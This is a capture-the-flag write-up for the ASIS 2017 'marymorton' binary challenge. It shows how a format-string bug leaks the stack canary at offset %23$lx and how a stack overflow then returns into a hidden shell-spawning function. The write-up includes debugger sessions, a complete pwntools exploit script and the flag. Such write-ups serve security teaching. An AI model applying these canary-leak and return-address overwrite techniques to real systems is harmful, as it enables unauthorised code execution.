Asis 2017 marymorton
Information
- Category: Pwn
- Points: 43
Description
Mary surprises Sherlock with her knowledge and insight into his character, but she had a very obvious vulnerability which Sherlock exploited it, although it was very painful for him!
Write-up
Running the program produces the following output:
1
2
3
4
5
6
Welcome to the battle !
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
The program allows you to select a vulnerability to exploit — which is pretty cool!
Now let’s get the basic info from the program:
1
2
3
4
5
6
checksec --file=./mary_morton
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
The program has some mitigations like NX enabled and a stack canary. Keep this in mind.
Stack canary is present, which protects against simple stack overflows. NX (No eXecute) is enabled, so we can’t execute code on the stack.
There are two functions that can be called based on your choice:
The first function has a format string vulnerability — but how? You can see that it takes your input and passes it directly to printf
without a format string. This makes it vulnerable! You can use it to read or write memory, which makes it a very powerful vulnerability.
Leak memory using format specifiers like %x, %s, or %p.
Write to memory using %n
The second function has a stack buffer overflow vulnerability. It uses read()
with a size of 0x100
, which allows you to overflow the buffer and control the return address. This means you can overwrite the return address and redirect execution wherever you want.
I found the system
function in the GOT/PLT section — and that’s very important! Since the binary is stripped and has no PIE, we can use its fixed address later in the exploit. But wait — system
isn’t used in main
, so why is it in the program? You can use tools like xref
to see where it’s called from. And boom — there’s a hidden function that runs system("/bin/sh")
and gives a shell! Now, we just need to call it.
To bypass the stack canary, we need two things:
The offset from the buffer to the canary and return address
The leaked canary value
Since we have a format string vulnerability, we can leak the canary from the stack. Once we know the offset and the canary value, we can overwrite the stack safely, pass the canary check, and then return to the hidden function that gives us a shell.
Use
pwndbg
to find the offset between the buffer, the canary, and the return address.
To calculate the offset between the buffer and the canary:
The buffer is at
rbp - 0x98
The canary is at
rbp - 0x10
So we need 0x98 - 0x10 = 0x88
bytes to reach the canary. Then, we need 8 more bytes to reach the return address (after the canary).
find the canary’s offset in memory, set a breakpoint at the start of the fmtstrBug
function — specifically at 0x4008f6
:
1
2
3
4
5
6
0x4008ef SUB RSP,0x90
0x4008f6 MOV RAX,qword ptr FS:[0x28]
This line moves the canary value from
FS:[0x28]
intoRAX
.
Then step forward using ni
(next instruction):
1
2
3
4
5
6
7
8
pwndbg> ni
0x0000000000400903 in ?? ()
.
.
.
pwndbg> p/x $rax
$2 = 0xb145368bea2f6300
pwndbg>
Now, set a breakpoint at the printf
call inside the fmtstrBug
function to find the canary’s offset in the stack:
1
2
3
4
5
pwndbg> c
Continuing.
Breakpoint 1, 0x0000000000400944 in ?? ()
*RIP 0x400944 ◂— call printf@plt
► 0x400944 call printf@plt
Then check the stack:
1
2
3
4
pwndbg> stack
00:0000│ rdi rsi rsp 0x7fffffffde80 ◂— '%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.\n'
...
11:0088│-008 0x7fffffffdf08 ◂— 0xb145368bea2f6300 ← This is the canary!
Then continue to see the actual output from printf
:
1
2
3
pwndbg> c
Continuing.
7FFFFFFFDE80.35.7FFFFFFFDF20.0.0.2E586C25...
1st rdi 2nd rsi 3rd rdx 4th rcx 5th r8 6th r9 then stack
The canary is located at 0x88
bytes above the base of the buffer on the stack:
1
11:0088│-008 0x7fffffffdf08 ◂— 0xb145368bea2f6300 ← canary
Since each step in a format string leak like %lx
reads 8 bytes (64 bits), we calculate:
1
0x88 / 0x8 = 17
So it takes 17 stack slots to reach the canary after the format string arguments begin.
In x64, the first 6 arguments to printf()
are passed in registers (rdi
, rsi
, rdx
, etc.). Format string values start on the stack after those.
Final result:
1
17 (stack positions to canary) + 6 (register args) = 23
So the canary is at offset %23$lx
in the format string!
1
2
3
4
5
6
7
8
9
Welcome to the battle !
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
2
%23$lX
EF2CFA8399681700
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python3
from pwn import *
exe = ELF("./mary_morton")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1000)
return r
def leakCanary(r):
r.recvuntil("Exit the battle \n")
r.sendline(b"2")
fmtstr = b"%23$lX"
r.sendline(fmtstr)
canary = int(r.recvline().decode(),16)
log.success(f"Canary Leak:{hex(canary)}")
return canary
def main():
r = conn()
hiddenFunc = 0x4008da
ret = 0x400659
canary = leakCanary(r)
payload = b"A"*0x88
payload+= p64(canary)
payload+= b"B"*0x8
payload+= p64(ret)
payload+= p64(hiddenFunc)
r.sendline(b"1")
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
Flag
Flag: ASIS{An_impROv3d_v3r_0f_f41rY_iN_fairy_lAnds!}